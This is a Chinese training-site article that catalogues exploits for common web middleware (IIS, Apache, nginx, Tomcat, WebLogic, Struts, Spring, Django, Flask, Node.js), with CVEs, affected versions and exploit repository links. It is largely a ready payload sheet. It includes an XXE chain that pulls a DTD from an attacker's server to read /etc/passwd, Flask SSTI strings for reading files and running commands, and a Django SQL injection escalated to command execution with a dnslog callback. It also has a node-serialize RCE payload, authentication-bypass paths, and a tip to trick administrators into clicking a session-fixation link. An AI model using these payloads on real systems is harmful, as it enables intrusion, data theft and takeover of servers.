文库 | web中常见中间件漏洞总结

Posted 掌控安全EDU

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文库 | web中常见中间件漏洞总结相关的知识,希望对你有一定的参考价值。

高质量的安全文章,安全offer面试经验分享

尽在 # 掌控安全EDU #



一. IIS

1. PUT漏洞

 
   
   
 
  1. 用户配置不当,**exp**:https://github.com/hackping/HTTPMLScan.git

2. 短文件名猜解

 
   
   
 
  1. IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400

  2. **exp**:https://github.com/WebBreacher/tilde_enum

3.远程代码执行(CVE-2017-7269))

 
   
   
 
  1. **exp**:https://github.com/zcgonvh/cve-2017-7269

4. 解析漏洞

 
   
   
 
  1. iis6.0畸形解析:asacer

  2. iis6.0目录解析:/test.asp/test.jpg

  3. iis6.0文件解析:test.asp;.jpg

  4. IIS7.5文件解析:test.jpg/.php

5. 认证绕过(:$i30:$INDEX_ALLOCATION

 
   
   
 
  1. 安装phpiis6.0,例:访问`目标/admin/index.php`,显示`401`,访问

  2. `/admin:$i30:$INDEX_ALLOCATION/index.php`即可

  3. iis7.5:同上


二. Apache

1. 解析漏洞

 
   
   
 
  1. 用户配置不当,apace解析从右至左进行判断,如`1.php.a.b.c``c`不识别会向前进找,知道找到可识别后缀。

2. 目录遍历

 
   
   
 
  1. 用户配置不当,扫描到目录直接访问即可

3. 未授权访问漏洞

 
   
   
 
  1. - shiro未授权访问漏洞(CVE-2020-1957

  2. 影响版本

  3. > shiro 1.5.2版本以下


  4. **poc**:构造`/目标/..;/admin`即可进入后台`

4. rce

 
   
   
 
  1. -ApacheOfbiz XMLRPC RCE(CVE-2020-9496)

  2. >影响版本

  3. >ApacheOfbiz:<17.12.04


  4. poc步骤

  5. step1:

  6. `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "你的指令" | base64 | tr -d ' '`

  7. step:放入下面xml

  8. ```

  9. <?xml version="1.0"?>

  10. <methodCall>

  11. <methodName>ping</methodName>

  12. <params>

  13. <param>

  14. <value>test</value>

  15. </param>

  16. </params>

  17. </methodCall>

  18. ```

5. 反序列化

 
   
   
 
  1. -Dubbo2.7.6反序列化漏洞(CVE-2020-1948

  2. >影响版本

  3. >Dubbo2.7.0 to 2.7.6

  4. Dubbo2.6.0 to 2.6.7

  5. Dubbo all 2.5.x versions (not supported by official team any longer)


  6. **exp**:https://github.com/ctlyz123/CVE-2020-1948.git


三. nginx 

1. 文件解析

 
   
   
 
  1. 用户配置不当,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如`1.png/.php`

  2. `fast-cgi`关闭的情况下,`nginx<=0.8.37`依然存在解析漏洞,会将`1.jpg%00.php`同样解析成php文件

2. 目录遍历

 
   
   
 
  1. 用户配置不当,扫描到目录直接访问即可

3. CRLF注入

 
   
   
 
  1. CRLF是”回车+换行”( )的简称,其十六进制编码分别为0x0d0x0a。在HTTP协议中,HTTP HeaderHTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者html代码,所以CRLF Injection又叫HTTP ResponseSplitting,简称HRS

  2. -会话固定漏洞

  3. 构造如下链接`http://目标%0aSet-Cookie:sessionid=ghtwf01`

  4. ![](res/2020-11-30-14-16-35.png)

  5. 可用于社工让管理员点击,有可能会获得管理员权限。

  6. -通过CRLF注入消息头引发反射型XSS漏洞

  7. 构造`http://目标%0d%0a%0d%0a<script>alert(/xss/);</script>`

4. 目录穿越

 
   
   
 
  1. 用户配置不当,可通过`../`遍历


四. Tomcat

1. 任意文件上传

 
   
   
 
  1. - cve-2017-12615

  2. >影响范围

  3. >ApacheTomcat7.0.0-7.0.81


  4. **exp**:https://raw.githubusercontent.com/zhzyker/exphub/master/tomcat/cve-2017-12615_cmd.py

2. 文件读取/包含漏洞

 
   
   
 
  1. - CVE-2020-1938

  2. 影响范围

  3. >ApacheTomcat6

  4. ApacheTomcat7<7.0.100

  5. ApacheTomcat8<8.5.51

  6. ApacheTomcat9<9.0.31


  7. **exp**:https://github.com/0nise/CVE-2020-1938

3. 反序列化漏洞

 
   
   
 
  1. - CVE-2020-9484

  2. >影响范围

  3. ><=9.0.34

  4. <=8.5.54

  5. <=7.0.103


  6. **exp**:https://github.com/masahiro331/CVE-2020-9484.git

4. 进程注入

 
   
   
 
  1. - cve没查到

  2. **exp**:https://github.com/rebeyond/memShell

  3. 5. war后门文件部署

  4. 后台上传即可


五. jBoss

1. 反序列化漏洞

 
   
   
 
  1. - CVE-2017-12149

  2. >影响范围

  3. >Jboss AS 5.x/6.x


  4. **exp**

  5. https://github.com/yunxu1/jboss-_CVE-2017-12149

2. war后门文件部署

 
   
   
 
  1. 后台上传war格式木马即可


六. WebLogic

1. 反序列化漏洞

 
   
   
 
  1. - CVE-2016-3510

  2. >影响范围

  3. >OracleWebLogicServer如下版本

  4. 12.2.1.0

  5. 12.1.3.0

  6. 12.1.2.0

  7. 10.3.6.0


  8. **exp 在后面**

  9. - CVE-2020-2551:Weblogic IIOP反序列化漏洞分析

  10. >影响范围

  11. >OracleWeblogicServer如下版本

  12. 10.3.6.0.0

  13. 12.1.3.0.0

  14. 12.2.1.3.0

  15. 12.2.1.4.0

  16. 14.1.1.0.0


  17. **exp 在后面**

2. ssrf

 
   
   
 
  1. - CVE-2014-4210

  2. >影响版本

  3. >10.0.2

  4. 10.3.6


  5. **exp 在后面**

3. 任意文件上传/读取

 
   
   
 
  1. -任意文件读取漏洞(CVE-2019-2615))and文件上传漏洞(CVE-2019-2618

  2. >影响范围

  3. >OracleWeblogicServer如下版本

  4. 10.3.6.0.0

  5. 12.1.3.0.0

  6. 12.2.1.3.0


  7. 注意:该漏洞需要用户名密码的认证才可利用。

  8. **exp 在后面**

4. 远程代码执行漏洞

 
   
   
 
  1. -Console HTTP 协议远程代码执行漏洞(CVE-2020-14882

  2. >OracleWeblogicServer如下版本

  3. 10.3.6.0.0

  4. 12.1.3.0.0

  5. 12.2.1.3.0

  6. 12.2.1.4.0

  7. 14.1.1.0.0


5. war后门文件部署

 
   
   
 
  1. 进入后台,上传war 格式木马即可


七. struts

1. 代码执行

 
   
   
 
  1. >影响版本

  2. >S2-057 CVE-2018-11776Struts2.3 to 2.3.34Struts2.5 to 2.5.16

  3. S2-048 CVE-2017-9791Struts2.3.X

  4. S2-046 CVE-2017-5638Struts2.3.5-2.3.31,Struts2.5-2.5.10

  5. S2-045 CVE-2017-5638Struts2.3.5-2.3.31,Struts2.5-2.5.10

  6. S2-037 CVE-2016-4438Struts2.3.20-2.3.28.1

  7. S2-032 CVE-2016-3081Struts2.3.18-2.3.28

  8. S2-020 CVE-2014-0094Struts2.0.0-2.3.16

  9. S2-019 CVE-2013-4316Struts2.0.0-2.3.15.1

  10. S2-016 CVE-2013-2251Struts2.0.0-2.3.15

  11. S2-013 CVE-2013-1966Struts2.0.0-2.3.14

  12. S2-009 CVE-2011-3923Struts2.0.0-2.3.1.1

  13. S2-005 CVE-2010-1870Struts2.0.0-2.1.8.1


  14. ![](res/2020-11-30-10-30-39.png)


八. java spring

1. Jolokia xxe

 
   
   
 
  1. poc

  2. step1:构造文件

  3. ```

  4. 第一个文件 logback.xml

  5. <?xml version="1.0" encoding="utf-8" ?>

  6. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://你的服务器/fileread.dtd">%remote;%int;]>

  7. <a>&trick;</a>

  8. 构造第二个文件 fileread.dtd

  9. <!ENTITY % d SYSTEM "file:///etc/passwd">

  10. <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

  11. ```

  12. step2:将两个文件传入公网服务器

  13. step3:访问`目标/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/你的服务器!/logback.xml`

2. Jolokia rce

 
   
   
 


九. python

1. flask-ssti

 
   
   
 
  1. python2

  2. ```

  3. #读文件

  4. `{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}`

  5. {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

  6. #写文件

  7. {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

  8. #执行指令

  9. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)

  10. {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)

  11. {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

  12. ```

  13. python3

  14. ```


  15. #文件读取

  16. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

  17. #任意执行

  18. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

  19. ```

2. Django-JSONfield-sql注入(CVE-2019-14234)

 
   
   
 
  1. 影响版本

  2. >Django

  3. >1.11.x before 1.11.23

  4. >2.1.x before 2.1.11

  5. >2.2.x before 2.2.4


  6. poc

  7. `http://目标/admin/vuln/collection/?detail__title')='1' or 1=1--`


结合CVE-2019-9193构造?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
因为是无回显执行,使用ping命令结合dns_log判断是否执行
?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping just.erh3bt.dnslog.cn'--%20

文库 | web中常见中间件漏洞总结

3. Django debug page XSS漏洞

 
   
   
 
  1. 直接访问`目标/create_user/?username=<script>alert('haha')</script>`

文库 | web中常见中间件漏洞总结
再次访问

文库 | web中常见中间件漏洞总结

4. Django url 跳转漏洞(CVE-2018-14574)

 
   
   
 
  1. 影响版本

  2. >1.11.0<= version <1.11.15

  3. >2.0.0<= version <2.0.8

文库 | web中常见中间件漏洞总结

十. node.js

1. 反序列化RCE漏洞

 
   
   
 
  1. CVE-2017-5941

  2. poc:(***执行 ls /***)

  3. ```

  4. var y = {

  5. rce : function(){

  6. },

  7. }

  8. var serialize = require('node-serialize');

  9. console.log("Serialized: " + serialize.serialize(y));

  10. ```

  11. 生成结果如下

  12. ```

  13. Serialized:

  14. {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }"}

  15. ```

注意,最后一个双引号前要补一个()
最终结果如下

 
   
   
 
  1. {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}

2. 目录穿越漏洞

 
   
   
 
  1. - CVE-2017-14849

  2. 影响版本

  3. >Node.js 8.5.0+Express3.19.0-3.21.2

  4. >Node.js 8.5.0+Express4.11.0-4.15.5


  5. 使用burp抓包构造`/static/../../../a/../../../../etc/passwd`即可。





回顾往期内容

文库 | web中常见中间件漏洞总结


扫码白嫖视频+工具+进群+靶场等资料


 


 扫码白嫖


 还有免费的配套靶场交流群哦!


以上是关于文库 | web中常见中间件漏洞总结的主要内容,如果未能解决你的问题,请参考以下文章

Web中间件常见漏洞总结

Web中间件常见漏洞总结

WEB中间件常见漏洞总结

总结 | Web中间件常见安全漏洞

常见中间件漏洞的总结

常见 Web 中间件及其漏洞概述:IIS